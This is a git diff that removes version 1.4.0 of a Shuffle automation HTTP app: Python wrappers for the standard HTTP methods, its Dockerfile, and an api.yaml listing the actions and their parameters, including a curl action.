url.replace("http:///", "http://", -1) - if "https:///" in url: - url = url.replace("https:///", "https://", -1) - if not "http://" in url and not "http" in url: - url = f"http://{url}" - - return url - - def return_file(self, requestdata): - filedata = { - "filename": "response.txt", - "data": requestdata, - } - fileret = self.set_files([filedata]) - if len(fileret) == 1: - return {"success": True, "file_id": fileret[0]} - - return fileret - - def prepare_response(self, request): - try: - parsedheaders = {} - for key, value in request.headers.items(): - parsedheaders[key] = value - - cookies = {} - if request.cookies: - for key, value in request.cookies.items(): - cookies[key] = value - - - jsondata = request.text - try: - jsondata = json.loads(jsondata) - except: - pass - - return json.dumps({ - "success": True, - "status": request.status_code, - "url": request.url, - "headers": parsedheaders, - "body": jsondata, - "cookies":cookies, - }) - except Exception as e: - print(f"[WARNING] Failed in request: {e}") - return request.text - - def GET(self, url, headers="", username="", password="", verify=True, http_proxy="", https_proxy="", timeout=5, to_file=False): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - proxies = None - if http_proxy: - proxies["http"] = http_proxy - if https_proxy: - proxies["https"] = https_proxy - - auth=None - if username or password: - # Shouldn't be used if authorization headers exist - if "Authorization" in parsed_headers: - #print("Found authorization - skipping username & pw") - pass - else: - auth = requests.auth.HTTPBasicAuth(username, password) - - if not timeout: - timeout = 5 - if timeout: - timeout = int(timeout) - - if to_file == "true": - to_file = True - else: - to_file = False - - request = requests.get(url, headers=parsed_headers, auth=auth, verify=verify, proxies=proxies, timeout=timeout) - if not to_file: - return self.prepare_response(request) - - return self.return_file(request.text) - - def POST(self, url, headers="", body="", username="", password="", verify=True, http_proxy="", https_proxy="", timeout=5, to_file=False): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - body = self.checkbody(body) - proxies = None - if http_proxy: - proxies["http"] = http_proxy - if https_proxy: - proxies["https"] = https_proxy - - auth=None - if username or password: - # Shouldn't be used if authorization headers exist - if "Authorization" in parsed_headers: - #print("Found authorization - skipping username & pw") - pass - else: - auth = requests.auth.HTTPBasicAuth(username, password) - - if not timeout: - timeout = 5 - if timeout: - timeout = int(timeout) - - if to_file == "true": - to_file = True - else: - to_file = False - - request = requests.post(url, headers=parsed_headers, auth=auth, data=body, verify=verify, proxies=proxies, timeout=timeout) - if not to_file: - return self.prepare_response(request) - - return self.return_file(request.text) - - def PUT(self, url, headers="", body="", username="", password="", verify=True, http_proxy="", https_proxy="", timeout=5, to_file=False): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - body = self.checkbody(body) - proxies = None - if http_proxy: - proxies["http"] = http_proxy - if https_proxy: - proxies["https"] = https_proxy - - - auth=None - if username or password: - # Shouldn't be used if authorization headers exist - if "Authorization" in parsed_headers: - #print("Found authorization - skipping username & pw") - pass - else: - auth = requests.auth.HTTPBasicAuth(username, password) - - if not timeout: - timeout = 5 - if timeout: - timeout = int(timeout) - - if to_file == "true": - to_file = True - else: - to_file = False - - request = requests.put(url, headers=parsed_headers, auth=auth, data=body, verify=verify, proxies=proxies, timeout=timeout) - if not to_file: - return self.prepare_response(request) - - return self.return_file(request.text) - - def PATCH(self, url, headers="", body="", username="", password="", verify=True, http_proxy="", https_proxy="", timeout=5, to_file=False): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - body = self.checkbody(body) - proxies = None - if http_proxy: - proxies["http"] = http_proxy - if https_proxy: - proxies["https"] = https_proxy - - auth=None - if username or password: - # Shouldn't be used if authorization headers exist - if "Authorization" in parsed_headers: - #print("Found authorization - skipping username & pw") - pass - else: - auth = requests.auth.HTTPBasicAuth(username, password) - - if to_file == "true": - to_file = True - else: - to_file = False - - request = requests.patch(url, headers=parsed_headers, data=body, auth=auth, verify=verify, proxies=proxies, timeout=timeout) - if not to_file: - return self.prepare_response(request) - - return self.return_file(request.text) - - def DELETE(self, url, headers="", body="", username="", password="", verify=True, http_proxy="", https_proxy="", timeout=5, to_file=False): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - proxies = None - if http_proxy: - proxies["http"] = http_proxy - if https_proxy: - proxies["https"] = https_proxy - - auth=None - if username or password: - # Shouldn't be used if authorization headers exist - if "Authorization" in parsed_headers: - #print("Found authorization - skipping username & pw") - pass - else: - auth = requests.auth.HTTPBasicAuth(username, password) - - if not timeout: - timeout = 5 - if timeout: - timeout = int(timeout) - - if to_file == "true": - to_file = True - else: - to_file = False - - request = requests.delete(url, headers=parsed_headers, auth=auth, verify=verify, proxies=proxies, timeout=timeout) - if not to_file: - return self.prepare_response(request) - - return self.return_file(request.text) - - def HEAD(self, url, headers="", body="", username="", password="", verify=True, http_proxy="", https_proxy="", timeout=5, to_file=False): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - body = self.checkbody(body) - proxies = None - if http_proxy: - proxies["http"] = http_proxy - if https_proxy: - proxies["https"] = https_proxy - - auth=None - if username or password: - # Shouldn't be used if authorization headers exist - if "Authorization" in parsed_headers: - #print("Found authorization - skipping username & pw") - pass - else: - auth = requests.auth.HTTPBasicAuth(username, password) - - if not timeout: - timeout = 5 - if timeout: - timeout = int(timeout) - - if to_file == "true": - to_file = True - else: - to_file = False - - request = requests.head(url, headers=parsed_headers, auth=auth, verify=verify, proxies=proxies, timeout=timeout) - if not to_file: - return self.prepare_response(request) - - return self.return_file(request.text) - - def OPTIONS(self, url, headers="", body="", username="", password="", verify=True, http_proxy="", https_proxy="", timeout=5, to_file=False): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - body = self.checkbody(body) - proxies = None - if http_proxy: - proxies["http"] = http_proxy - if https_proxy: - proxies["https"] = https_proxy - - auth=None - if username or password: - # Shouldn't be used if authorization headers exist - if "Authorization" in parsed_headers: - #print("Found authorization - skipping username & pw") - pass - else: - auth = requests.auth.HTTPBasicAuth(username, password) - - if not timeout: - timeout = 5 - - if timeout: - timeout = int(timeout) - - if to_file == "true": - to_file = True - else: - to_file = False - - request = requests.options(url, headers=parsed_headers, auth=auth, verify=verify, proxies=proxies, timeout=timeout) - if not to_file: - return self.prepare_response(request) - - return self.return_file(request.text) - - -# Run the actual thing after we've checked params -def run(request): - print("Starting cloud!") - action = request.get_json() - print(action) - print(type(action)) - authorization_key = action.get("authorization") - current_execution_id = action.get("execution_id") - - if action and "name" in action and "app_name" in action: - HTTP.run(action) - return f'Attempting to execute function {action["name"]} in app {action["app_name"]}' - else: - return f'Invalid action' - -if __name__ == "__main__": - HTTP.run() diff --git a/http/1.4.0/Dockerfile b/http/1.4.0/Dockerfile deleted file mode 100644 index 9bbc5110..00000000 --- a/http/1.4.0/Dockerfile +++ /dev/null @@ -1,27 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app -RUN apk add curl - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/http/1.4.0/api.yaml b/http/1.4.0/api.yaml deleted file mode 100644 index cad10c2c..00000000 --- a/http/1.4.0/api.yaml +++ /dev/null @@ -1,529 +0,0 @@ -walkoff_version: 1.4.0 -app_version: 1.4.0 -name: http -description: HTTP app -tags: - - Testing - - HTTP -categories: - - Other - - HTTP -contact_info: - name: "@frikkylikeme" - url: https://github.com/frikky - email: "frikky@shuffler.io" -actions: - - name: GET - description: Runs a GET request towards the specified endpoint - parameters: - - name: url - description: The URL to get - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Content-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Check certificate - multiline: false - options: - - false - - true - required: false - example: "false" - schema: - type: bool - - name: http_proxy - description: Add a HTTP proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: https_proxy - description: Add a HTTPS proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: timeout - description: Add a timeout for the request, in seconds - multiline: false - required: false - example: "10" - schema: - type: bool - - name: to_file - description: Makes the response into a file, and returns it as an ID - multiline: false - required: false - options: - - false - - true - example: "true" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: POST - description: Runs a POST request towards the specified endpoint - parameters: - - name: url - description: The URL to post to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: body - description: The body to use - multiline: true - example: "{\n\t'json': 'blob'\n}" - required: false - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Content-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - - name: http_proxy - description: Add a HTTP proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: https_proxy - description: Add a HTTPS proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: timeout - description: Add a timeout for the request, in seconds - multiline: false - required: false - example: "10" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: PATCH - description: Runs a PATCH request towards the specified endpoint - parameters: - - name: url - description: The URL to post to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: body - description: The body to use - multiline: true - example: "{\n\t'json': 'blob'\n}" - required: false - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Content-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - - name: http_proxy - description: Add a HTTP proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: https_proxy - description: Add a HTTPS proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: timeout - description: Add a timeout for the request, in seconds - multiline: false - required: false - example: "10" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: PUT - description: Runs a PUT request towards the specified endpoint - parameters: - - name: url - description: The URL to PUT to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: body - description: The body to use - multiline: true - example: "{\n\t'json': 'blob'\n}" - required: false - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Content-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - - name: http_proxy - description: Add a HTTP proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: https_proxy - description: Add a HTTPS proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: timeout - description: Add a timeout for the request, in seconds - multiline: false - required: false - example: "10" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: DELETE - description: Runs a DELETE request towards the specified endpoint - parameters: - - name: url - description: The URL to post to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: body - description: The body to use - multiline: true - example: "{\n\t'json': 'blob'\n}" - required: false - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Content-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - true - - false - example: "false" - schema: - type: bool - - name: http_proxy - description: Add a HTTP proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: https_proxy - description: Add a HTTPS proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: timeout - description: Add a timeout for the request, in seconds - multiline: false - required: false - example: "10" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: HEAD - description: Runs a HEAD request towards the specified endpoint - parameters: - - name: url - description: The URL to HEAD to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Content-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - - name: http_proxy - description: Add a HTTP proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: https_proxy - description: Add a HTTPS proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: timeout - description: Add a timeout for the request, in seconds - multiline: false - required: false - example: "10" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: OPTIONS - description: Runs a OPTIONS request towards the specified endpoint - parameters: - - name: url - description: The URL to HEAD to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Content-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - - name: http_proxy - description: Add a HTTP proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: https_proxy - description: Add a HTTPS proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: timeout - description: Add a timeout for the request, in seconds - multiline: false - required: false - example: "10" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: curl - description: Run a curl command - parameters: - - name: statement - description: The curl command to run - multiline: true - example: "curl https://example.com" - required: true - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGQAAABjCAIAAADihTK7AAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4wgeDyYG/VPJzQAAMI9JREFUeNrFvXecJWd1Jvyc81bVzd238+SomZFGYZRRQAkLIQQ2XuEFG4zBXsv2EtYG24vZ9WKC1wmEZbDXWnvx77Mx0ZhgsUgIS8gSoJxnNDnHzuHmW/We8/3xVtW9HUYJyXvV6l9P9e0Kz3vyed5zSVXxar4UEFUoDFN6cLIWHphq7Jlq7ploHJxpnaq0p5u2GSmIiAAiqIKgAMBEVAxoMO+t7M2sL2fOGshtHsiu6w0yHqcntKJE1HWFV+VFrx5YqhDVFKNGaJ86WXvkWOXJE9X9083Jum1ZVcAwPMOGDDGINIGYQABIKT6VFY1EFWCmYsDLCv5Zg9mLlxcvXVE4oz/buSKUiV4l0F4VsERVAUMEoBXJQ0fn7t47/dCRypHZVjOCZyjjk2+YiYigCSJdMBFIAQIAIsAJnBIBBFWySqHVllVR7c2Ysway160r/tS60ub+nDuJ1VcFslcYLFEAykQADk83v7l9/M590/smmpEgF3DGYyJSgqp7dIdDDIsCcDoIAjiWMkIXap3Hd0ADsKKNSNtWe7N80XD2Z7f0vWFDT9bjVwOyVwysbqV79lT1S0+N3rV7eqIR5TzOBx4xRcmViIhASgQih0hiq6AOmhgydN7ewXXRAwDOWkWi9UisYEt/5q1nlt+6pbcv6znIzCuE2CsDlpUYpl1jtdsfPHHX3ql6KKWs5xtWkDg0KX5aItIEgdg2EUgJ7jhUGQATlsTotKLiECaiRiiNSNb0eO/c2veOs/uLgVGFAj+5+f9JwUrvY7oe/tWPj3356dFKW3uzHjOJOrGgLv1agBQTOWlKMCCOn7tLoLoRSnUx1c4lUWNCM0KtbTf1Zd574cBbNpW7V/T/DVjp5b+9Y/zWfzt6cLrRk/M9Jok1i4mgMUBIkXLCpGBnygECE6AAxWChI4NIQHaKuxC45P7Tg+njOMjqoTQjuX5t8XcuGT6jP+t++bKV8uWD5ZAarbQ+8f0Dd+ycygcm4xtRxPeeyFS39oFjJ6cgZUrMF8U/USJOFCMao+FQ7gKx+6f07tN/0nzICDrbsqWA33/BwHvOHQRgFeZl4fVywFKFQpnoB3snf//O/UcrYV/eV4UARKwEAhGTxFqTPn4aOhEI7GJIYgUiRaQQ9xUjEQeZhskw+cweEzOYSGKfm7wvuSl3do3h7eClqoYQis617A1rix9/7fKhvPfyrP5LBks0jgz+8odHPvNvRz3PFAIORTWVDRDxaWWKmcAsSm1rm1YtOGO4mOH+rF/OmnLW9GaMb4gJqmhYnWvrXNtON2W2bRsWqvAMsoYCJiKSVJYAOKFGilH6DarqtHKqEa3tCf70muUXjuRehny9NLAcUs1QPvx/93z9mbH+fEDMoqkrAkBMpESaKJIzWERkmKxSPZKWIO/z2t7MucO5bSO5zf2ZVaWgP+flfbO0IEPnWnaiER2ei3ZOt3ZMtHZPt8cbVhU5nzOGANjuh0geSd1/Gh9TVY9Qi4SBP7hi+D9sKr/UQOwlgOVEd6rW/rV/2vngkdnBQsaqxv6JEgUkQuL+EiEjNtSKtBpJzjfnDudft67nqjWlLQOZwHD3+Z1j7ZKO2PUtfpqZln1movnA8fqDJ5tHqxETih4zkdVEvFLEEsDUnV+VCVZ0thn91oX9771wWDRZ5VcQLIfUqUrrV768Y/totT8fhAJiIpAkuCww6kRkDDWt1tq6vCd40+byz27pO284l/p8q85rIg1FE1FKbq7riCYwUFfEVAujB0+17jhQfXi02bIoBcxQ2yVNi7+nGfpU3d6yrfy7lwzHJuSVAstp36m55i998dndE61y3kQCYtbEeoOBGDpSQJl8plBoNrTreoN3njf0c1v7BvOBe2yRxL4tupDqPNREl44k40pGkn4C2D7Z/Ore6j3H6i2rPT5LIkpQ0i6gEjFTVTAw3ghvObfvw5cOW1HmF8brhcFySE1UW+/8x2d2jTXLeS9SAMTMnWiTQMQOOmYippmmlHPeL1849O5tQ2WXdiyqoijm4aXqIikKRV3c5TPFochpFEUBURCUCQDtnG79n+fm7jteD5hyHkUSw+8UcB5UzqED4/Xwvdv6Pnjx8Ivxjy8AlvtlrR394j8+88SxSrkQRKJEHGscJXEmwMRCMIbaVhuhvumsvv96xfK15ZyDafG6LXBGqiDSk9XwIz8an2qK71EzwuvX5H7rgr5I4PFC67bgdBKXvgDoD443/vLZ2f1zYV9gREXVPaSqxqghsfeqysBEI/qdiwZ/bVv/C+L1fGA5lWGm3/inHd/ZMT5YyIRxhJCE2pyEUkRExIZmmzJY8H7/mpVvOWsQQCRqFtkDpyBMaIRRYIxxcYZqI5Rfvvvk9ql2T2AE8AxNt+yHLijfcnZfqo+VdlQKGCCrtNjxpzWPWiife3bm6wdqWUMBwUonnlDtIOUwBDDTtJ++ZtmbNpSeHy/G6V8iapg+fe+Bf3l2bLAQhKLJcyfpXleua5gm6tHlq4vffMeWt5w1aEVV4S3yzJKEPN/YM/uXT0w6PXJY3Pbk1Pap1kjB8z3K+RwYWlbwbn+u8sREkykODmbb8j8enTlSDQ3NDxcQS5bziQWff+/C/j9+zUDO44Yl33CcZnW+iNLAkKiUMR/98diOiaYhktNr2mnBctnMd3eMfvb+IwOFTGS1k5NR/Gdx7stERBP18D9dNPyF/7hpVU/W/S0ttfJMaFn70R+e+uC9J96wocdjsqqG8NR445/2VgfzfqRJkQ8gIp/4tqfnIhGCWtVVxaDo89vvmbzneM0QRLH40QxBAat4/er83147uK7Xn4mQMUxJQkFMzA6l+C59pkjxu/efmmlGlBifFwuWq0wdnar/t+/syQdenEXESJEmkqUEJgJophl99HWrP/66tQSyunRyb0WZMFaPfvm7R29/euqnN/WcN5ST2HLp3zw7173miFMZKmZ4+0x497EGU5zGvHtzMefzf3+88n/2zLlAf/GjEWAIkei6UvA3Vw9cNpKZDtX3WGOQQEScQAYiAUo+H5gL//ChMSIIlkZrCbA0Niv6ke/snmpI4MUxOiUVy1QHXS2q0rZ/duPaWy5ebgVEZFz0sBT6JyqtX7zj8JNjraG895YzepAUM58cazx0qtGTNdpVb0h8COU8/trBhlsDUVqW965clgk8/vzuxm3bl8bL/dNjEkUp4D+/vP+nVmWn2up7zEnQ4taGOXZWFhjIeXccrP/znhlDZJeSriXAElFD9IVHj9+7d7o371lRV5sDdQe7scbPtsJP3bju7ecOR6KGQbEvdz9Il/bpWK39njuPHqmEeZ9WFv3XriwATjDxz/tqAuLUlDCBSZlgGMSFwOyZix4fbxHU2anXLw+s6mDOfPlg83PPzTHpfEOjlKDHBFHyDP/RpeXrV2Vn2mo8BjMTJ8+gnYVR9AT8mSemTtZCXsp4LQRLFEx0fKZ56w8OlXK+lfjiScUtKTARmDDVjD5x/dqfO2coEvWYUl2baYYnKi0m1kT/m5H+57uPH5wNB/L+XFuvWl3IeRyJGtKJRvTjk41iYCS5CBETc7LmygwQ3Xm8hSR2v2gwuzznNSIdytIX9te/dKBmCKksiGLfXJiE6+C4r8afvKTvNcNBJYTPpAwX8hEhkS0CkPFouim3Pjq+pEdcLFlKhD+958BErR0Y7gosKF0yBTxDE/XofZctf/eFyzpIqRqmwzONzz4yWvCNC7KtKhP+4IHRx0cbAzkTivqGr1uVR+zp6f7j9cmWBKZT3lJOFxvMrKCCx49PhtMtcU6w4PMFA34jUlEMZMxf7aw9NNZwjkwBJqq05fZdVaJOIZdAPtEfXdq7vsfUBcbEFj7ReCYiYraKvizfeah2/9EqL3K488ByFuSRwzPffna0nHfxZ0eU4moU4BuabkQ3bi5/5NrVabHUihqiE5XWe7598KYzyr1ZDyBReExf3zX1lZ0zwwUvUrQFK4retuEsANck/bcTDc+QWyRwnHsTEXO85gB8xkTTPjHZdjcJ4LIhPyktIGf4T56pTTQjp31W9YLBbCW0n3hqlkld6kMEAXoD/48uKWc8cpF10iNSmleGJc/w556cCq3yfOM7DywCiepnfnDQ2Z1umUp/MEyNUFf2BH/2xg2apMGiMEwT9dbPfHnPpSuLF68oujiQCccr7T96cLycNVZhiFoW5wzmSoFnRZloshHtmArzHgsSe8sduVpQhn9oPEzv+Nw+vzegSKGKDNN4Uz77XJVIVeMm2ge2lu4/1f7M9jlDlCaSVrGhx//wtlLNqknCh0SgYxkToBjwM5OtO/bPEqHbcs3rgDPh/n1TP9w/3ZP1rKZNhKSnkCDWsvonN64fyAfi2nsKIjRC+yvfOjjXsh++ckVyx0qQP35wdKYlgRc/sFW9eFkWSQXqmcnWVNMGJtWEuK8VO/UuS5o1tH06bFprGKoYzpn1RdOyyoRItTfgfz3ReuBUy1koUWQNf+Cswt/srv/jvmoawRqCVXrDqsLPrM3OhuozJ9dNFSi29Hmf//65mWYkTB3h4q6lA4DPP3TMVQ+65SppV8FnmqpH77pg+Or1fZFIEiUoQf/r9w//4FDl1y8e7s95AriO9ANHa9/dX+nPsZVYALOe2TaUSS/3xHhbnAYS4lycujqoqR0FAqaTDXugEhEQKQBs7fPbogxyxiFj+H/vqbesdXm1Am9YlbtwwL/tueo9JxqpB2CCqH7g7NLKgtfWTsstNl2JJuY93j0dfu9wlZIKRwcsZ62eODr3wP7pUsZbKsogAjUjWV3OfOiqVaJqiBFnefTZB09+bcfUmUPZt2/t18S+ta3e9ug4E6xAQQpuWhopeBt7MwA8IlU8Pdn0DIlCQOJa+UktQVS7vxTaiPTpqSjueIDOLnsKWFVRiUQyBntnom8dbjjdEaWs4beszTLRnz5b3T3TdAi6P+4NvPdtLTasMif2mByVoJPFBYa+umvWmYsYAufvXB3mQ9/Y8ZUnR/vzvtU0LkRaXPeNmaiHt/70hreft6y7B6eqeyfrRJT1aHVvNtXX0MqBmaZvTAq2KDIGK0u+y5dE9Uilra4QNs88Lt15jlSLHoZznis6tKycqEdMHeUQqE+6Mu/H/W1F20anmhopSgZDOS/VbRf6feDH04+NtwoMayVNrUVURFWVoHNN+7evX3H5yoKrkXipdIxVW/fumSwGpttfprUQJqq27fkrim89Z1jULQgUcUK/ebCQ6kvnbpi2DOQXPbVzTjEC63qC+QXRBf2tJV6apPMZw+tL/uI3RAKTUAAynllbjIk4kSZVkuR1y5bC4+MtpCQnpPro5AgCfGt/5fKVBUrV0Onk93ZOjFbagfPnRPMrRsRMrcj++muWe8yakjoAj8nriFjnWZlwmlpHxx7xwrZyt9s97df8sy7xBm9e7SwJxIk8ptRau8j+vIHMlcuCSgTmpN/bRT8RaN7nH5+oTzQi5zc8JDnHnc+NGsOdllznOzGh1rZbRwpv2NyvqoZdTovJeutfdk8HxtRDe+WanrOH80lFCfcdnts3HWY918WIWxoC/PSGUjljREEkPz7ZOFiRrElbQS9QCidCy8rVyzIr854rYDw12dw5K1nTSU2Y0LJ69Yi/ouAn1lPvPt6YbZNC+wO6fmVGlBKODt6+Mf/AqXbcJHehB5TiHygwNFaP7j9Wu3lTr6h6zlodnW48daySD4ykUt71YqJGaH9+20jgmUjUIwjUEP3VQ6duffDkYCEzF9o7fmGL0zHDVA+jj9x36uBsO+cbMJhdf4yzvrl+TbGcccvAt++oPDzaKmWMMhkmYmJ6vtaUIUy15JMX0VvXepFqQLRjJvqfT1f7M5yaDvee956Zf/9WX+JwgR4ZD798sNEXcCi6PN+7tS/jqh2quHAgc16/v30yzDGJKClApBozVAAYxn1Hqjdv6iWieInu3zc1VQv7i8ESpS9C28pI0X/z1gF3bVEYopOV1jd2Tm3oz4ZKW4Zzl64spqL42KnGWD1a05MRKDGY2TC3BOt7g+G8k2U0rdRCXZE3gWc0zgXx/JLlEYj4VM2mgr+l1x/OcdHjjncn5Ix5dCKMVD0iqwD0hpWZ759o9QU82ZKvHGx+si+jiaIZohtXZZ8Yb+cMYtPl3Jrze6I5j58eb041ov6c5yw1Htg/yadhmBhCtW1fu753qBCIanqirz07OdmIPKZqy24bzhmmdHnvO1yJRK1qpLAK93PLSjnLaXw43bTTLStEoaoFWcULfoUKVZysW6cpAPoz7BFFop33CDzCkZrdOxumq72lN+jLcDXSgkcPjrUPVyMmiKOmANcszw5mjZU05kwqTEQgBIZG6/aZsQZcL6YR2mdPVDIeL1FIczZYceOWgbR5x0zNyN6xazKfNJ2cWKmqqwQ9fKKe9bibkcBEVml5wUfiTyaaUo/UcNq6eVHtS0MYa4kibnb0Z7jow85LzpzY6uOTbXdOBXoD3lDyWqIeUy2Su4833XEiiNJA1jt/0G9EGufy82NMAqzqY6MNOG+4f7x2Yq4VeOw4AQtebavDpcxla3pdaO2K6I8cq+ybauR9DkULPp89nEtV4+hs+/Bs20HfHQiI6kAujmMBjDeipKj/YvvnqvCIZtvSjOL7LBgqeLwghBbAI3pmOnRxgluzs3pNJFAga8wDo+22tdy1RJcNZ6Jk1bohICJRBIa2TzQBZQA7T1VrbWs6jJTuVaJmaM9eVujP+67T7W7s7r0zri4aWowU/dW9QXrh7RONSls86nTS3d8QMJLz0jNPNqVbIl4k48AQqpFWI3Ho+4b6A47md8ZUETAdqthGZFPTsqnXdwYka3CoanfORg5Hp3rnD/gln0N3n2n5PHmkgPlIJZpqCAPYNVYFll5gIrStXrK6hER9PKa2tQ8fq+R8VtW21TW9mbzvpSZ2+1hzyYI/EfqynWh7vGFftEglKMSUPp1rO7AAUMFfWNJUwGdMtuRY3aYH1+ZN3pBbnlD00YkQiSaq6uqit7poml3Flg5jCfAY083o0FyLAeyfqHu8dANRFb6h85cXkeQrAPZPNo/OtB1nPxLZUM4gKbEC2Dfd9Bgp0zg9jyHqDUx6eLZtKb2dhBX0gi8iRIqGRbLq6M8Y1YWwM6ER6ZFqB6yhnCkHsQvymZ6dCpHUXQUwxJt6/VDU0TYpSSHdrbvYbf9Mm0MrJ+daPtNirIgQifZmvfX9OQCcJJLPjtbrbWuS/GutC5wAJkRij1Xaydk69GSB+ky9WZNCONsWg2QjxcJQ/vleVnW6JSlYRS8m+C4Ww6NdklX0MZDhUFSBDNORmp0LJUGEAGzq8RPB6lrjJN8T1UOzbZ6qh5PVtjG8VIBFodWhoj/sUrDkJLvGawCc+TJMy3s6CdpUQybrkWc6OyXi1VEwIWsIcaFDq22hJFJ24fKLcYcEWEU16rw3Y5aGmQgnap2OCUBD2Th29RjTbTlWs531BNYUjXFv1aTXN19Uj861earWTsRkibAhsjJSCgJjnBN0Vu/gZMs35FgXHmMw3zHbs62oFjqRmd9vATyGT52Va1lNLWgM54uLHgAKu2Qp6/HigEcBA5puW9c2cOLTn2GJ928gtHq0GqErd1+eNzmPbPcaa0okARON1kJvotpqhuI7T79gjQiR6HAxQEIGYoKqTtRD38RbRnIel7M